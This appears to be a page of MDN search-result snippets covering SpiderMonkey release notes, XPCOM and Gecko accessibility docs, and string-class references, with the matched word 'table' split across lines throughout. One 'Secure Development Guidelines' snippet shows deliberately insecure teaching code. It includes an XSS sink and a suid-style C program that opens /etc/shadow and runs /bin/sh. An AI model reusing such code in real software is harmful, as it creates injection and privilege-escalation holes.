...take a runtime argument instead of a context. the one exception to this is js_maybegc which still takes a context as argument. javascript shell changes detail added/removed methods here... known issues detail any known issues here... future direction ...insert details on future plans... spidermonkey embedders should be aware that mozilla has no plans to keep the jsapi, nor the jsdbgapi s
table for embedders. we have chosen to concentrate on performance and correctness as primary concerns instead. the team is considering the removal of tinyids js_threadsafe is going away, with future versions supporting only thread-safe builds a new debugging api is on the way to replace jsd. release notes errata this is a list of changes which need to be made to the release notes asap. feel free ...
SpiderMonkey 45
ertime (bug 1159507) js_mayresolvestandardclass (bug 1155946) js_getiteratorprototype (bug 1225392) js_globallexicalscope (bug 1202902) js_hasextensiblelexicalscope (bug 1202902) js_extensiblelexicalscope (bug 1202902) js_initreflectparse (bug 987514) js::toprimitive (bug 1206168) js::getfirstargumentastypehint (bug 1054756) js::objecttocompletepropertydescriptor (bug 1144366) js_setimmu
tableprototype (bug 1211607) js_getownucpropertydescriptor (bug 1211607) js_hasownpropertybyid (bug 1211607) js_hasownproperty (bug 1211607) js_deleteucproperty (bug 1211607) js::newfunctionfromspec (bug 1054756) js::compilefornonsyntacticscope (bug 1165486) js_checkforinterrupt (bug 1058695) js::mapdelete (bug 1159469) js::mapforeach (bug 1159469) js::newsetobject (bug 1159469) js::setsize ...
...ck api changes javascript shell changes detail added/removed methods here... known issues detail any known issues here... future direction jscontext and jsruntime are merging. (jscontext will be the only thing visible from within the api, there will be just one per runtime, and inheriting from jsruntime.) spidermonkey embedders should be aware that mozilla has no plans to keep the jsapi s
table for embedders. we have instead chosen to concentrate on overall performance and accuracy as our primary concerns. release notes errata feel free to fix any problems you spot, directly in the text above -- this is a wiki! ...
Thread Sanitizer
starting firefox after the build has completed, you can start firefox from the objdir as usual. building only the javascript shell if you want to build only the javascript shell instead of doing a full firefox build, the build script below will proba...
...the default way of symbolizing the traces is much slower than using llvm-symbolizer for that purpose: llvm ships with a symbolizer binary that tsan will readily use to immediately out...
Secure Development Guidelines
code injection attack typically occurs in web applications injection of arbitrary data into an html document from another site victim’s browser executes those html instructions could be used to steal user credentials think: webmail, online auction, cms, online banking... xss: example the following snippet of javascript: document.write("welcome to " + document.location); ... ...
...; in windows ‘\’ would work too int openfile(char *file) { handle fh; if (strstr(file, “\”)) return -1; fh = createfilea(file, ...); writefile(fh, data, sizeofdata, null, null); } could be a normal file, directory, device, or link directory traversal (../../../../) file i/o: file permissions should be set correctly be sure not to make world-wri
table files sensitive files shouldn’t be world readable file i/o: file descriptors and handles could be a race if instances of fh are shared between threads fh inheritence: default in unix, needs to be set in windows int main(int argc, char **argv, char **envp) { int fd = open("/etc/shadow", o_rdwr); setreuid(getuid(), getuid()); excve("/bin/sh", argv, envp); } suid root a...
Gecko object attributes
ed on html image element. applied to: role_graphic for the <html:img/> element. tree related attributes cycles "true" when the tree cell is a cycler, which means each click will cycle to the next option. in this case action 0 is called "cycles", which moves to the next option in the same way a manual click does. applied to: role_cell for the <xul:tree/> note: it's not exposed currently
table related attributes layout-guess true when gecko's heuristic determines that it is a
table that is probably used for layout, not for
table. value not set means it is probably a data
table. applied to: role_
table table-cell-index the index of the
table cell accessible. use nsiaccessible
table and nsiaccessible
tablecell instead. applied to role_cell hypertext attributes formatting ...
... are formatted with css display: inline. applied to: any object that supports the hypertext interface note: deprecated, use display attribute instead line-number the current line number of the caret, whether simply because the "browse with caret" option is on, or the caret used for editing text. the line number is relative to the top of the currently focused area (the document, a rich text edi
table area, or an input control). applied to: any focusable accessible text object margin-bottom specifies how much vertical space there will be after the bottom of the last line of content in a text accessible (see the css margin-bottom property). margin-left specifies how much horizontal space there will be before the beginning of each line of content in a text accessible (see the css margi...
ROLE_COLUMNHEADER
« gecko roles page represents a column header, providing a visual label for a column in a
table. also refer to role_
table. ...
... « gecko roles page represents a column header, providing a visual label for a column in a
table. also refer to role_
table. ...
ROLE_ROW
« gecko roles page represents a row of cells within a
table. also, see role_
table. ...
... « gecko roles page represents a row of cells within a
table. also, see role_
table. ...
XForms Accessibility
ox or building it yourself. downloading builds notion: xforms is no longer distributed with firefox build. you must build it yourself. see section below. for firefox, you may directly download the nighly "trunk" build of firefox and install the xforms extension which lives in 'xpi' directory of the build. note, xforms accessibility is implemented only on trunk. trunk builds are not considered s
table and should not be installed on top of the firefox used for daily browsing. currently we have verified that xforms accessibility is working on the windows platform, and linux testing has not yet been done, although everything should work and is ready to be tested. you will find trunk builds of firefox at ftp.mozilla.org, trunk builds of xforms extension (windows) at ftp.mozilla.org or trunk builds...
...lp for the containing form control (see the spec, the docs). the help element has role_alert role. hint similar to a tooltip (see the spec, the docs). the value of hint element is used as description of accessible object. alert this message will be shown when the form control cannot properly bind to instance data or when the instance data value is invalid or out of the specified range of selec
table values (see the spec, the docs). the alert element has role_alert role for both usual and inline alert elements. message used in combination with event listeners to display a message to the user when the specified event occurs (see the spec, the docs). the message element has role_alert role. resources below you will find a list of xforms/accessiblity resources: mozilla accessibility proje...
Creating a Python XPCOM component
nsisimple interface). here is how to make the same component in python using pyxpcom. (note that some details may be missing.) preparation if a binary of pyxpcom is not available, you will need to build it - see building pyxpcom. tip: you can achieve a copy of binary of pyxpcom from pythonext; simply unpack xpi and take everything you need. if you wish to use pyxpcom from a normal python execu
table, you will need to tell python where it can find the pyxpcom library. this is probably best done by setting a pythonpath variable pointing at the 'bin/python' directory in the application. this is not necessary when your components are loaded by mozilla as the python loader modifies sys.path. then you can import xpcom in any python module (mostly, in your component). defining the interface make a...
...est done by setting a pythonpath variable pointing at the 'bin/python' directory in the application. this is not necessary when your components are loaded by mozilla as the python loader modifies sys.path. then you can import xpcom in any python module (mostly, in your component). defining the interface make a file named "nsipysimple.idl" to define the interface: #include "nsisupports.idl" [scrip
table, uuid(2b324e9d-a322-44a7-bd6e-0d8c83d94883)] interface nsipysimple : nsisupports { attribute string yourname; void write( ); void change(in string avalue); }; this is the same as the nsisimple interface used here. theoretically, because several components can share an interface, the same file could be used. pay special attention to types here - python and javascript are both loosely-...
XPCOM glue
r versions of the firefox sdk: -libpath:c:/path/to/sdk/lib xpcomglue_s.lib xpcom.lib nspr4.lib for recent versions of the firefox sdk (at least version 42, but possibly earlier versions as well): -libpath:c/path/to/sdk/lib xpcomglue_s.lib xul.lib nss3.lib mozcrt.lib -libpath:c:/path/to/sdk/lib xpcomglue.lib mac -l/path/to/sdk/lib -l/path/to/sdk/bin -wl,-execu
table-path,/path/to/sdk/bin -lxpcomglue_s -lxpcom -lnspr4 when building against a xulrunner derived sdk, use: -l/path/to/sdk/lib -l/path/to/xulrunner-bin -wl,-execu
table_path,/path/to/xulrunner-bin -lxpcomglue_s -lxpcom -lnspr4 where 'xulrunner-bin' is either /library/frameworks/xul.framework/versions/current/ or /path/to/xulrunner-build/[platform]/dist/bin -l/path/to/sdk/lib -lxp...
...structions are for mozilla 1.8 and above. when using a sdk from mozilla 1.7 or earlier, you must define mozilla_strict_api when using any form of the glue. linux and mac: make sure the gecko libraries are listed after your object (.o) files on the link line. linux and mac: write the linker options exactly as stated (just replacing the /path/to/sdk/), otherwise you get an undefined symbol: ...ns_
tabledrivenqi...qi
tableentry... at runtime (not compile time) (in debug builds) or your module just won't load (in optimized builds). in principle, #include "mozilla-config.h" should also work, if it's the first #include in .cpp, but preprocessor option is how it's usually included. for xulrunner 2.0, you also need to link against mozalloc. this is not a backwards-compatible change with 1.9.x and e...
How to build an XPCOM component in JavaScript
interfaces at various locations in the mozilla source code, or using xpcomviewer, a gui for browsing registered interfaces and components. you can download an old version of xpcomviewer that works with firefox 1.5 from mozdev mirrors. if an interface exists that meets your needs, then you do not need to write an idl, or compile a typelib, and may skip to the next section. ...
...see generating guids for more information. ...
Setting up the Gecko SDK
nto three subdirectories: module subdirectories the bin directory contains static libraries, dynamic libraries, and in some cases tools that may be useful in development. the idl directory contains the public idl files exported by the module. the includes directory contains c++ header files used by your component. xpcom exports a number of binaries that should be mentioned at this point. the
table below refers to the windows file names for the execu
tables. application name description of functionality regxpcom.exe registers or unregisters components with xpcom xpidl.exe generates typelib and c++ headers from xpidl xpt_dump.exe prints out information about a given typelib xpt_link.exe combines multiple typelibs into a single typel...
...out sending any extra dlls set path=%path%;d:\projects\xulrunner-sdk\sdk\bin;d:\projects\xulrunner-sdk\bin this tells the command prompt where to find the gecko tools, importantly (xpidl, regxpcom, and gmake). building the sample built sample in d:\projects\sample the idl this step is fairly straight forward. first create the idl file. ispecialthing.idl #include "nsisupports.idl" [scrip
table, uuid(263ed1ba-5cc1-11db-9673-00e08161165f)] interface ispecialthing : nsisupports { attribute astring name; long add(in long a, in long b); }; next is to build the .h file to compile against and the .xpt for gecko to understand your new interface. xpidl -m header ispecialthing.idl xpidl -m typelib ispecialthing.idl the code add the main code, the real work horse. cspecialthing.h #if...
Using XPCOM Utilities to Make Things Easier
storically, it gets called in the constructor for your class and sets mrefcnt to zero. however, a change in xpcom that occurred before mozilla 1.3 makes ns_init_isupports no longer necessary: mrefcnt's type has been changed from an integer to a class that provides its own auto-initialization. if you are building with versions earlier than mozilla 1.3, this macro is still required. the following
table summarizes the macro usage in this portion of the weblock.cpp source file: common xpcom macros ns_impl_isupportsn implements nsisupports for a given class with n number of interfaces ns_decl_isupports declares methods of nsisupports including mrefcnt ns_init_isupports initializes mrefcnt to zero. must be called in class's constructor ns_get_iid re...
...outside the scope of this book, but we can show you how to use strings in the weblock component. the first thing to note is that the string classes themselves are not frozen, which means that you should not link against them when you can avoid it. linking the full string library (.lib or .a) into a component may raise its footprint by more than 100k (on windows), which in many cases is an unaccep
table gain (see the xpcom string guide). for weblock, where the string classes need to be only wrappers around already existing string data, trading advanced functionality for a much smaller footprint is the right way to go. the weblock string classes don't need to append, concatenate, search, or do any other real work on the string data; they just need to represent char* and other data and pass them t...
Introduction to XPCOM for the DOM
happens when the class nsfoo implements an interface nsifoo. you can manipulate the nsfoo object directly through fooptr, however your code will not be very robust. indeed, if someone decides to change the name or the signature of the methods you use, you will have to change all the calls to those methods throughout your code. as opposed to a concreate class, an interface is supposed to be more s
table through time. indeed, many interfaces in the mozilla code are frozen (this is indicated by the comment @frozen at the beginning of the interface definition). that means that the interface will never change anymore. the good thing is that your code will (in the best condition) last forever. the bad thing is that we have to find a way to improve those interfaces, and freezing them obliges implement...
...ome interesting features, like automatic generation of documentation, and xpt generation. the first thing to do is to decide what our interface, nsidomfabian, will do. for the purpose of this document, i have chosen to implement a new html interface called nsidomfabian. it will be implemented by the class nshtmldocument. the syntax of xpidl is straightforward: #include "domstubs.idl"; [scrip
table, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)] interface nsidomfabian : nsisupports { void fabian(); readonly attribute boolean neat; }; this is the definition of the nsidomfabian interface. the uuid of the interface is a unique identifier. every interface needs one. you can generate them using guidgen on windows, or by issuing the command "mozbot uuid" in #mozilla on irc.mozilla.
Language bindings
omponents.interfacesbyid is a read-only array of classes indexed by iid.components.issuccesscodedetermines whether a given xpcom return code (that is, an nsresult value) indicates the success or failure of an operation, returning true or false respectively.components.lastresultcomponents.managercomponents.manager is a convenience reflection of the global native component manager service. ...
...onents.lastresultcomponents.managercomponents.manager is a convenience reflection of the global native component manager service. the scrip
table methods on the nsicomponentmanager interface can be called directly on this object.components.resultscomponents.results is a read-only object whose properties are the names listed as the first parameters of the macros in js/xpconnect/src/xpc.msg (also at
table of errors), with the value of each corresponding to that constant's value.components.returncodecomponents.stackcomponents.stack is a read only property of type nsistackframe (idl definition) that represents a snapshot of the current javascript callstack. this can be used for various diagnostic purposes.components.utilscomponents.utils is a collection of various useful xpconnect features. its inte...
NS_ConvertASCIItoUTF16
methods constructors void ns_convertasciitoutf16(const char*) - source parameters char* acstring void ns_convertasciitoutf16(const char*, pruint32) - source parameters char* acstring pruint32 alength void ns_convertasciitoutf16(const nsacstring_internal&) - source parameters nsac...
...source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmu
tabledata pruint32 getmu
tabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters ...
NS_ConvertUTF16toUTF8
methods constructors void ns_convertutf16toutf8(const prunichar*) - source a helper class that converts a utf-16 string to utf-8 parameters prunichar* astring void ns_convertutf16toutf8(const prunichar*, pruint32) - source parameters prunichar* astring pruint32 alength void ns_conv...
...uint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmu
tabledata pruint32 getmu
tabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters or 0 ...
NS_ConvertUTF8toUTF16
methods constructors void ns_convertutf8toutf16(const char*) - source parameters char* acstring void ns_convertutf8toutf16(const char*, pruint32) - source parameters char* acstring pruint32 alength void ns_convertutf8toutf16(const nsacstring_internal&) - source parameters nsacstr...
...source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmu
tabledata pruint32 getmu
tabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters ...
NS_LossyConvertUTF16toASCII
methods constructors void ns_lossyconvertutf16toascii(const prunichar*) - source a helper class that converts a utf-16 string to ascii in a lossy manner parameters prunichar* astring void ns_lossyconvertutf16toascii(const prunichar*, pruint32) - source parameters prunichar* astring pr...
...uint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmu
tabledata pruint32 getmu
tabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters or 0 ...
nsACString_internal
methods constructors void nsacstring_internal(const nscsubstringtuple&) - source this is public to support automatic conversion of tuple to string base type, which helps avoid converting to nstastring. parameters nscsubstringtuple& tuple void nsacstring_internal(char*, pruint32, pruint32) - source parameters char* ...
...uint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmu
tabledata pruint32 getmu
tabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters or 0 ...
nsAString_internal
methods constructors void nsastring_internal(const nssubstringtuple&) - source this is public to support automatic conversion of tuple to string base type, which helps avoid converting to nstastring. parameters nssubstringtuple& tuple void nsastring_internal(prunichar*, pruint32, pruint32) - source parameters pruni...
...source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmu
tabledata pruint32 getmu
tabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters ...
nsAdoptingCString
methods constructors void nsadoptingcstring() - source void nsadoptingcstring(char*, pruint32) - source parameters char* str pruint32 length void nsadoptingcstring(const nsadoptingcstring&) - source parameters nsadoptingcstring& str operator= nsadoptingcstring& operator=(co...
...uint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmu
tabledata pruint32 getmu
tabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters or 0 ...
nsAdoptingString
methods constructors void nsadoptingstring() - source void nsadoptingstring(prunichar*, pruint32) - source parameters prunichar* str pruint32 length void nsadoptingstring(const nsadoptingstring&) - source parameters nsadoptingstring& str operator= nsadoptingstring& operator=...
...source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmu
tabledata pruint32 getmu
tabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters ...
nsAutoString
methods constructors void nsautostring() - source constructors void nsautostring(prunichar) - source parameters prunichar c void nsautostring(const prunichar*, pruint32) - source parameters prunichar* data pruint32 length void nsautostring(const nsautostring&) - source parame...
...source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmu
tabledata pruint32 getmu
tabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters ...
nsCAutoString
methods constructors void nscautostring() - source constructors void nscautostring(char) - source parameters char c void nscautostring(const char*, pruint32) - source parameters char* data pruint32 length void nscautostring(const nscautostring...
...rs pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmu
tabledata pruint32 getmu
tabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters or ...
nsCString
methods constructors void nscstring() - source constructors void nscstring(char) - source parameters char c void nscstring(const char*, pruint32) - source parameters char* data pruint32 length void nscstring(const nscstring&) - source parameters nscstring& str void ...
...uint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmu
tabledata pruint32 getmu
tabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters or 0 ...
nsDependentCSubstring
methods constructors void nsdependentcsubstring(const nsacstring_internal&, pruint32, pruint32) - source parameters nsacstring_internal& str pruint32 startpos pruint32 length void nsdependentcsubstring(const char*, const char*) - source parameters char* start char* end void n...
...uint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmu
tabledata pruint32 getmu
tabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters or 0 ...
nsDependentSubstring
methods constructors void nsdependentsubstring(const nsastring_internal&, pruint32, pruint32) - source parameters nsastring_internal& str pruint32 startpos pruint32 length void nsdependentsubstring(const prunichar*, const prunichar*) - source parameters prunichar* start prunichar...
...source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmu
tabledata pruint32 getmu
tabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters ...
nsFixedCString
methods constructors void nsfixedcstring(char*, pruint32) - source @param data fixed-size buffer to be used by the string (the contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already containe...
...uint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmu
tabledata pruint32 getmu
tabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters or 0 ...
nsFixedString
methods constructors void nsfixedstring(prunichar*, pruint32) - source @param data fixed-size buffer to be used by the string (the contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already conta...
...source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmu
tabledata pruint32 getmu
tabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters ...
nsPromiseFlatCString
methods constructors void nspromiseflatcstring(const nsacstring_internal&) - source parameters nsacstring_internal& str void nspromiseflatcstring(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple operator= nscstring& operator=(const nscstring&) - source param...
...uint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmu
tabledata pruint32 getmu
tabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters or 0 ...
nsPromiseFlatString
methods constructors void nspromiseflatstring(const nsastring_internal&) - source parameters nsastring_internal& str void nspromiseflatstring(const nssubstringtuple&) - source parameters nssubstringtuple& tuple operator= nsstring& operator=(const nsstring&) - source parameters ns...
...source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmu
tabledata pruint32 getmu
tabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters ...
nsString
methods constructors void nsstring() - source constructors void nsstring(prunichar) - source parameters prunichar c void nsstring(const prunichar*, pruint32) - source parameters prunichar* data pruint32 length void nsstring(const nsstring&) - source parameters nsstring&...
...source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmu
tabledata pruint32 getmu
tabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters ...
nsXPIDLCString
methods constructors void nsxpidlcstring() - source void nsxpidlcstring(const nsxpidlcstring&) - source parameters nsxpidlcstring& str operator const char* char* operator const char*() const - source operator[] char operator[](print32) const - source parameters print32 i ...
...uint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmu
tabledata pruint32 getmu
tabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters or 0 ...
nsXPIDLString
methods constructors void nsxpidlstring() - source void nsxpidlstring(const nsxpidlstring&) - source parameters nsxpidlstring& str operator const prunichar* prunichar* operator const prunichar*() const - source operator[] prunichar operator[](print32) const - source parameters...
...source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmu
tabledata pruint32 getmu
tabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer, optionally resizing the buffer first. if size_type(-1) is passed for newlen, then the current length of the string is used. the caller may modify the characters at the returned address (up to but not exceeding the length of the string). @returns the length of the buffer in characters ...
mozIStorageError
the mozistorageerror interface represents errors returned by the storage api, offering attributes to obtain the error code as well as a human-readable error message corresponding to the error that occurred. storage/public/mozistorageerror.idlscrip
table please add a summary to this article. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports attributes attribute type description message autf8string a human readable error string with details; this may be null if no details are available. read only. result long one of the error code values listed under constants on this page. constants constant value desc...
...rization denied. format 24 auxiliary database format error. notadb 26 the opened file is not a database. perm 3 access permission denied. abort 4 a callback routine requested an abort. busy 5 the database file is locked. locked 6 a
table in the database is locked. nomem 7 a memory allocation failed. readonly 8 attempted to write to a read-only database. interrupt 9 the operation was terminated by an interrupt. ...
mozIStorageStatement
inherits from: mozistoragevaluearray last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) for an introduction on how to use this interface, see the storage overview document. ...
...ails. astring escapestringforlike( in astring avalue, in wchar aescapechar ); parameters avalue string to escape for sql like. aescapechar the escape character to use. generally, / will be sufficient. return value an utf-16 encoded string that has characters that have special meaning escaped from avalue. sample code var statement = dbconn.createstatement( "select * " + "from
table_name " + "where column_name like :userinput escape '/'" ); statement.params.userinput = statement.escapestringforlike(someuserinput, "/"); binding functions these functions are discussed in more detail with sample code in the overview document. newbindingparamsarray() creates and returns a new mozistoragebindingparamsarray object that can be used to bind multiple values to parameters in pre...
nsIAccessibilityService
accessible/public/nsiaccessibilityservice.idlscrip
table please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsiaccessibleretrieval method overview nsiaccessible createouterdocaccessible(in nsidomnode anode); nsiaccessible createrootaccessible(in nsipresshell ashell, in nsidocument adocument); nsiaccessible createhtml4buttonaccessible(in nsisupports aframe); nsiaccessible createhypertextaccessible(in nsisupports aframe); nsiaccessible createhtmlbraccessible(in nsisupports aframe); nsiaccessible createhtmlbuttonaccessible(in nsisupports aframe); nsiaccessible createhtmlaccessiblebymarkup(in nsiframe aframe, in nsiweakreference aweakshell, in nsidomnode adomnode); nsiaccessible cr...
...iaccessible createhtmllabelaccessible(in nsidomnode anode, in nsiweakreference apresshell); nsiaccessible createhtmlobjectframeaccessible(in nsobjectframe aframe); nsiaccessible createhtmlradiobuttonaccessible(in nsisupports aframe); nsiaccessible createhtmlselectoptionaccessible(in nsidomnode anode, in nsiaccessible aaccparent, in nsiweakreference apresshell); nsiaccessible createhtml
tableaccessible(in nsisupports aframe); nsiaccessible createhtml
tablecellaccessible(in nsisupports aframe); nsiaccessible createhtml
tableheadaccessible(in nsidomnode adomnode); nsiaccessible createhtmltextaccessible(in nsisupports aframe); nsiaccessible createhtmltextfieldaccessible(in nsisupports aframe); nsiaccessible createhtmlcaptionaccessible(in nsisupports aframe); nsiaccessible...
nsIAccessibleDocument
when accessibility is turned on in gecko, there is an nsiaccessibledocument for each document whether it is xul, html or whatever. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) you can queryinterface to nsiaccessibledocument from the nsiaccessible or nsiaccessnode for the root node of a document. ...
...butes attribute type description caretaccessible nsiaccessible read only. obsolete since gecko 1.9 doctype astring the doc type of the document, as specified in the document. read only. domdocument nsidomdocument the nsidomdocument interface associated with this document. read only. note: renamed from document in gecko 2.0 isedi
table boolean true if the document is live in an editor. false if the document is being displayed but not edited. if a <div> is contentedi
table, then it has its own document, with isedi
table == true. read only. obsolete since gecko 1.9 mimetype astring the mime type of the document. read only. title astring the title of the document, as specified in the document. rea...
nsICacheSession
netwerk/cache/public/nsicachesession.idlscrip
